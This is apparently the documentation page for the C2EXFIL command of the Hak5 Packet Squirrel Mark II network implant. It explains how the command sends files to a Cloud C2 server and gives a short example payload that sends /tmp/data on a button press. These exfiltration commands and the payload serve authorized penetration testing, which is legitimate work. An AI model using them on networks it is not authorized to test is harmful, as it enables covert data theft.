> For the complete documentation index, see [llms.txt](https://documentation.hak5.org/packet-squirrel-mark-ii/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://documentation.hak5.org/packet-squirrel-mark-ii/payload-development/duckyscript-for-packet-squirrel/c2exfil.md).

# C2EXFIL

The `C2EXFIL` command sends a file to the Cloud C² server (if one is connected).  This will appear on the Cloud C² dashboard.

## Options

`C2EXFIL` takes one or two options:  

When called with a single argument, the file is sent as a binary file to the Cloud C² server:

```
C2EXFIL /tmp/some-file
C2EXFIL /usb/logs/some-file
```

When called with the `STRING` argument, the file will be sent as a text file; this will enable viewing it  live via the Cloud C² interface.

```
C2EXFIL STRING /tmp/some-file.txt
C2EXFIL STRING /usb/logs/some-other-file.txt
```

## Experimenting

You can experiment using the `C2EXFIL` command live, either in the Web Shell in the web UI, or via `ssh`!

<figure><img src="/files/QK9LKkfhzyadQ9NbsMTt" alt=""><figcaption><p>Using the C2EXFIL command in the Web Shell</p></figcaption></figure>

## Examples

```bash
#!/bin/bash

# Title: Cloud C2 Exfil Button
#
# Description: A simple payload that sends a file to Cloud C2 when a button is pressed

# Set the netmode to NAT, otherwise there is no connectivity at all
NETMODE NAT

# Set the LED to blinking cyan
LED C SINGLE

# Wait forever until the button is tapped
BUTTON

# Send /tmp/data to C2; we assume this file exists for some reason
C2EXFIL /tmp/data

# Set the LED to blink blue in a triple pattern
LED B TRIPLE
```